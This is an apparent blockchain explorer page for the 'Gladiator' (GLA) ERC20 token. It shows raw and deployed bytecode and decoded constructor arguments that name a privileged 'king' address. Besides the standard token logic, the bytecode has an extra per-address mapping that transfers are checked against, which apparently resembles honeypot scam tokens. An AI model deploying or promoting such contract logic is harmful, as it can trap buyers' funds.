03821661063b5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103d6565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b0383166107015760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103d6565b6001600160a01b0382166107635760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103d6565b6001600160a01b0383166000908152600360205260408120546107869083610bd0565b116107bb5760405162461bcd60e51b81526020600482015260056024820152643937b6b0b760d91b60448201526064016103d6565b6107f881604051806060016040528060268152602001610c0d602691396001600160a01b038616600090815260016020526040902054919061087b565b6001600160a01b0380851660009081526001602052604080822093909355908416815220546108279082610a4f565b6001600160a01b0380841660008181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906106909085815260200190565b6000818484111561089f5760405162461bcd60e51b81526004016103d69190610a62565b505050900390565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b038084166000908152600260209081526040808320909152812083905590831661095c5760405162461bcd60e51b815260206004820152600f60248201526e696e76616c6964206164647265737360881b60448201526064016103d6565b600460008154811061097057610970610be3565b60009182526020909120600290910201546001600160a01b03908116908516036109ee576001600160a01b038416600090815260036020526040812080548392906109bc908490610bd0565b909155506109cc90508282610bf9565b6001600160a01b03841660009081526003602052604090208190559050610a49565b6001600160a01b03841660009081526003602052604081208054839290610a16908490610bd0565b90915550506001600160a01b03831660009081526003602052604081208054839290610a43908490610bf9565b90915550505b50505050565b6000610a5b8284610bf9565b9392505050565b600060208083528351808285015260005b81811015610a8f57858101830151858201604001528201610a73565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b0381168114610ac757600080fd5b919050565b60008060408385031215610adf57600080fd5b610ae883610ab0565b946020939093013593505050565b600060208284031215610b0857600080fd5b610a5b82610ab0565b600080600060608486031215610b2657600080fd5b610b2f84610ab0565b9250610b3d60208501610ab0565b9150604084013590509250925092565b60008060408385031215610b6057600080fd5b610b6983610ab0565b9150610b7760208401610ab0565b90509250929050565b600181811c90821680610b9457607f821691505b602082108103610bb457634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b8181038181111561030257610302610bba565b634e487b7160e01b600052603260045260246000fd5b8082018082111561030257610302610bba56fe45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220278d8dd71e110491b18fecb62b5f930dfe97a7e83adb6d8d09230b44462af29b64736f6c63430008130033000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c000000000000000000000000067804046d2e0d365bbf2675fe761ae32e52b8039000000000000000000000000000000000000000000000000000000036a2966800000000000000000000000000000000000000000000000000000000000000017e29a94efb88f20476c61646961746f7220e29a94efb88f0000000000000000000000000000000000000000000000000000000000000000000000000000000003474c410000000000000000000000000000000000000000000000000000000000
Deployed Bytecode
0x608060405234801561001057600080fd5b50600436106100ea5760003560e01c8063715018a61161008c57806395d89b411161006657806395d89b41146101f8578063a9059cbb14610200578063dd62ed3e14610213578063f2fde38b1461024c57600080fd5b8063715018a6146101c05780638da5cb5b146101ca57806390ec57f1146101e557600080fd5b806318160ddd116100c857806318160ddd1461016757806323b872dd1461016f578063313ce5671461018257806370a082311461019757600080fd5b806306fdde03146100ef578063095ea7b31461010d5780630d4888e114610130575b600080fd5b6100f761025f565b6040516101049190610a62565b60405180910390f35b61012061011b366004610acc565b6102f1565b6040519015158152602001610104565b61015961013e366004610af6565b6001600160a01b031660009081526003602052604090205490565b604051908152602001610104565b600854610159565b61012061017d366004610b11565b610308565b60075460405160ff9091168152602001610104565b6101596101a5366004610af6565b6001600160a01b031660009081526001602052604090205490565b6101c8610371565b005b6000546040516001600160a01b039091168152602001610104565b6101206101f3366004610acc565b6103eb565b6100f7610482565b61012061020e366004610acc565b610491565b610159610221366004610b4d565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b6101c861025a366004610af6565b61049e565b60606005805461026e90610b80565b80601f016020809104026020016040519081016040528092919081815260200182805461029a90610b80565b80156102e75780601f106102bc576101008083540402835291602001916102e7565b820191906000526020600020905b8154815290600101906020018083116102ca57829003601f168201915b5050505050905090565b60006102fe338484610578565b5060015b92915050565b600061031584848461069d565b610367843361036285604051806060016040528060288152602001610c33602891396001600160a01b038a166000908152600260209081526040808320338452909152902054919061087b565b610578565b5060019392505050565b336103846000546001600160a01b031690565b6001600160a01b0316146103df5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b6103e960006108a7565b565b6000338061042d5760405162461bcd60e51b815260206004820152600f60248201526e696e76616c6964206164647265737360881b60448201526064016103d6565b6104388185856108f7565b60405183815230906001600160a01b038316907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259060200160405180910390a35060019392505050565b60606006805461026e90610b80565b60006102fe33848461069d565b336104b16000546001600160a01b031690565b6001600160a01b0316146105075760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016103d6565b6001600160a01b03811661056c5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016103d6565b610575816108a7565b50565b6001600160a01b0383166105da5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103d6565b6001600160a01b03821661063b5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103d6565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b0383166107015760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103d6565b6001600160a01b0382166107635760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103d6565b6001600160a01b0383166000908152600360205260408120546107869083610bd0565b116107bb5760405162461bcd60e51b81526020600482015260056024820152643937b6b0b760d91b60448201526064016103d6565b6107f881604051806060016040528060268152602001610c0d602691396001600160a01b038616600090815260016020526040902054919061087b565b6001600160a01b0380851660009081526001602052604080822093909355908416815220546108279082610a4f565b6001600160a01b0380841660008181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906106909085815260200190565b6000818484111561089f5760405162461bcd60e51b81526004016103d69190610a62565b505050900390565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b038084166000908152600260209081526040808320909152812083905590831661095c5760405162461bcd60e51b815260206004820152600f60248201526e696e76616c6964206164647265737360881b60448201526064016103d6565b600460008154811061097057610970610be3565b60009182526020909120600290910201546001600160a01b03908116908516036109ee576001600160a01b038416600090815260036020526040812080548392906109bc908490610bd0565b909155506109cc90508282610bf9565b6001600160a01b03841660009081526003602052604090208190559050610a49565b6001600160a01b03841660009081526003602052604081208054839290610a16908490610bd0565b90915550506001600160a01b03831660009081526003602052604081208054839290610a43908490610bf9565b90915550505b50505050565b6000610a5b8284610bf9565b9392505050565b600060208083528351808285015260005b81811015610a8f57858101830151858201604001528201610a73565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b0381168114610ac757600080fd5b919050565b60008060408385031215610adf57600080fd5b610ae883610ab0565b946020939093013593505050565b600060208284031215610b0857600080fd5b610a5b82610ab0565b600080600060608486031215610b2657600080fd5b610b2f84610ab0565b9250610b3d60208501610ab0565b9150604084013590509250925092565b60008060408385031215610b6057600080fd5b610b6983610ab0565b9150610b7760208401610ab0565b90509250929050565b600181811c90821680610b9457607f821691505b602082108103610bb457634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b8181038181111561030257610302610bba565b634e487b7160e01b600052603260045260246000fd5b8082018082111561030257610302610bba56fe45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220278d8dd71e110491b18fecb62b5f930dfe97a7e83adb6d8d09230b44462af29b64736f6c63430008130033
Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)
000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c000000000000000000000000067804046d2e0d365bbf2675fe761ae32e52b8039000000000000000000000000000000000000000000000000000000036a2966800000000000000000000000000000000000000000000000000000000000000017e29a94efb88f20476c61646961746f7220e29a94efb88f0000000000000000000000000000000000000000000000000000000000000000000000000000000003474c410000000000000000000000000000000000000000000000000000000000
-----Decoded View---------------
Arg [0] : name_ (string): ⚔️ Gladiator ⚔️
Arg [1] : symbol_ (string): GLA
Arg [2] : king_ (address): 0x67804046D2E0D365BbF2675FE761Ae32e52b8039
Arg [3] : totalSupply_ (uint256): 14666000000
-----Encoded View---------------
8 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000080
Arg [1] : 00000000000000000000000000000000000000000000000000000000000000c0
Arg [2] : 00000000000000000000000067804046d2e0d365bbf2675fe761ae32e52b8039
Arg [3] : 000000000000000000000000000000000000000000000000000000036a296680
Arg [4] : 0000000000000000000000000000000000000000000000000000000000000017
Arg [5] : e29a94efb88f20476c61646961746f7220e29a94efb88f000000000000000000
Arg [6] : 0000000000000000000000000000000000000000000000000000000000000003
Arg [7] : 474c410000000000000000000000000000000000000000000000000000000000
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.